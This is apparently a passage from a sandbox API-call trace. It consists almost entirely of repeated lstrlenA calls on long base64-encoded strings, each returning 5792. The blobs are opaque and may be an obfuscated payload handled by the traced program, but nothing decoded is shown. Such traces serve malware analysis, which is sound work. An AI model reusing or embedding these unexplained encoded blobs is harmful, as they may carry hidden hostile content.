W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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